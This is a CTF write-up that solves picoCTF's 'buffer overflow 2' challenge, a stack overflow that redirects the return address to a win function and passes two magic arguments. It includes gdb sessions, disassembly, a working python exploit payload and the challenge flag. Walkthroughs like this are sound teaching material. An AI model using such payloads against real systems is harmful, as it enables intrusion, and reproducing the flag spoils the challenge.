Binary Exploitation 250: buffer overflow 2
Challenge
Alright, this time you’ll need to control some arguments. Can you get the flag from this program? You can find it in /problems/buffer-overflow-2_2_46efeb3c5734b3787811f1d377efbefa on the shell server. Source.
Solution
The hint suggests
Try using gdb to print out the stack once you write to it!
Which is useful. First attempted to find out what was necessary to overwrite the return pointer and segfault, ‘107 * a’ was just before there. Opened up gdb:
Looking at the dump of vuln, it is suggested to me that we should want to control ebp (to be 0xdeadbeefdeadcode
) + the return (to be 0x080485cb
)
1
2
3
4
5
6
080485cb <win>:
...
804861d: 81 7d 08 ef be ad de cmpl $0xdeadbeef,0x8(%ebp)
8048624: 75 1a jne 8048640 <win+0x75>
8048626: 81 7d 0c de c0 ad de cmpl $0xdeadc0de,0xc(%ebp)
804862d: 75 14 jne 8048643 <win+0x78>
After much experimentation remembered how metasploit does it, by inserting the alphabet and mapping that back to points that are interesting to control.
We’ll debug this locally to start with for convenience. Touch a flag.txt
and fill with a fake ‘flag’ that you’ll ‘discover’.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
$ python -c "print('a' * 112 + 'ABCDEFGHIJKLMNOPQRSTUVWXYZ')" > tmp
$ echo "picoCTF{fake_flag}" > flag.txt
$ gdb writeupfiles/vuln-buff-overflow-2
...
(gdb) break vuln
Breakpoint 1 at 0x804864c
(gdb) disas
Dump of assembler code for function vuln:
0x08048646 <+0>: push ebp
0x08048647 <+1>: mov ebp,esp
0x08048649 <+3>: sub esp,0x78
=> 0x0804864c <+6>: sub esp,0xc
0x0804864f <+9>: lea eax,[ebp-0x6c]
0x08048652 <+12>: push eax
0x08048653 <+13>: call 0x8048430 <gets@plt>
0x08048658 <+18>: add esp,0x10
0x0804865b <+21>: sub esp,0xc
0x0804865e <+24>: lea eax,[ebp-0x6c]
0x08048661 <+27>: push eax
0x08048662 <+28>: call 0x8048460 <puts@plt>
0x08048667 <+33>: add esp,0x10
0x0804866a <+36>: nop
0x0804866b <+37>: leave
0x0804866c <+38>: ret
End of assembler dump.
(gdb) break *0x0804866c
Haltepunkt 2 at 0x804866c
(gdb) continue
Continuing.
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaABCDEFGHIJKLMNOPQRSTUVWXYZ
Breakpoint 2, 0x0804866c in vuln ()
(gdb) disas
Dump of assembler code for function vuln:
0x08048646 <+0>: push ebp
0x08048647 <+1>: mov ebp,esp
0x08048649 <+3>: sub esp,0x78
0x0804864c <+6>: sub esp,0xc
0x0804864f <+9>: lea eax,[ebp-0x6c]
0x08048652 <+12>: push eax
0x08048653 <+13>: call 0x8048430 <gets@plt>
0x08048658 <+18>: add esp,0x10
0x0804865b <+21>: sub esp,0xc
0x0804865e <+24>: lea eax,[ebp-0x6c]
0x08048661 <+27>: push eax
0x08048662 <+28>: call 0x8048460 <puts@plt>
0x08048667 <+33>: add esp,0x10
0x0804866a <+36>: nop
0x0804866b <+37>: leave
=> 0x0804866c <+38>: ret
End of assembler dump.
(gdb) p/x $esp
$1 = 0xffffcbdc
(gdb) p/x *((int)$esp)
$2 = 0x44434241
We’ll return to whatever is in $esp, so we just need to overwrite ABCD with the
address we’d like to return to. We know we need to jump to win
, we can find
the address via objdump or just running disas win
in gdb and copying the
first byte.
1
$ python -c "print('a' * 112 + '\xcb\x85\x04\x08' + 'EFGHIJKLMNOPQRSTUVWXYZ')" > tmp
This time we know we’ll enter the win
function so we can just break there:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
(gdb) break win
Haltepunkt 1 at 0x80485d1
(gdb) run < tmp
Starting program: writeupfiles/vuln-buff-overflow-2 < tmp
Please enter your string:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaEFGHIJKLMNOPQRSTUVWXYZ
Breakpoint 1, 0x080485d1 in win ()
(gdb) disas
Dump of assembler code for function win:
0x080485cb <+0>: push ebp
0x080485cc <+1>: mov ebp,esp
0x080485ce <+3>: sub esp,0x58
=> 0x080485d1 <+6>: sub esp,0x8
0x080485d4 <+9>: push 0x8048750
0x080485d9 <+14>: push 0x8048752
0x080485de <+19>: call 0x80484a0 <fopen@plt>
0x080485e3 <+24>: add esp,0x10
0x080485e6 <+27>: mov DWORD PTR [ebp-0xc],eax
0x080485e9 <+30>: cmp DWORD PTR [ebp-0xc],0x0
0x080485ed <+34>: jne 0x8048609 <win+62>
0x080485ef <+36>: sub esp,0xc
0x080485f2 <+39>: push 0x804875c
0x080485f7 <+44>: call 0x8048460 <puts@plt>
0x080485fc <+49>: add esp,0x10
0x080485ff <+52>: sub esp,0xc
0x08048602 <+55>: push 0x0
0x08048604 <+57>: call 0x8048470 <exit@plt>
0x08048609 <+62>: sub esp,0x4
0x0804860c <+65>: push DWORD PTR [ebp-0xc]
0x0804860f <+68>: push 0x40
0x08048611 <+70>: lea eax,[ebp-0x4c]
0x08048614 <+73>: push eax
0x08048615 <+74>: call 0x8048440 <fgets@plt>
0x0804861a <+79>: add esp,0x10
0x0804861d <+82>: cmp DWORD PTR [ebp+0x8],0xdeadbeef
0x08048624 <+89>: jne 0x8048640 <win+117>
0x08048626 <+91>: cmp DWORD PTR [ebp+0xc],0xdeadc0de
0x0804862d <+98>: jne 0x8048643 <win+120>
0x0804862f <+100>: sub esp,0xc
0x08048632 <+103>: lea eax,[ebp-0x4c]
0x08048635 <+106>: push eax
0x08048636 <+107>: call 0x8048420 <printf@plt>
0x0804863b <+112>: add esp,0x10
0x0804863e <+115>: jmp 0x8048644 <win+121>
0x08048640 <+117>: nop
0x08048641 <+118>: jmp 0x8048644 <win+121>
0x08048643 <+120>: nop
0x08048644 <+121>: leave
0x08048645 <+122>: ret
End of assembler dump.
Let’s break right before the comparisons happen just in case ebp is modified anywhere.
1
2
3
4
5
6
(gdb) break *0x0804861a
Haltepunkt 2 at 0x804861a
(gdb) continue
Continuing.
Breakpoint 2, 0x0804861a in win ()
And looking into those we see:
1
2
3
4
(gdb) p/x *((int)$ebp + 0x8)
$1 = 0x4c4b4a49 # LKJI
(gdb) p/x *((int)$ebp + 0xc)
$2 = 0x504f4e4d # PONM
So we’ll just overwrite those now:
1
2
3
4
5
6
$ python -c "print('a' * 112 + '\xcb\x85\x04\x08' + 'EFGH' + '\xef\xbe\xad\xde\xde\xc0\xad\xde')" | ./writeupfiles/vuln-buff-overflow-2
Please enter your string:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaᆳ
picoCTF{test flag}
[1] 12928 done python -c |
12929 segmentation fault (core dumped) ./writeupfiles/vuln-buff-overflow-2
So that works perfectly
1
2
3
4
$ python -c "print('a' * 112 + '\xcb\x85\x04\x08' + 'EFGH' + '\xef\xbe\xad\xde\xde\xc0\xad\xde')" | ./vuln
Please enter your string:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaᆳ
picoCTF{addr3ss3s_ar3_3asy1b78b0d8} Segmentation fault (core dumped)
Which is just what we wanted
Flag
picoCTF{addr3ss3s_ar3_3asy1b78b0d8}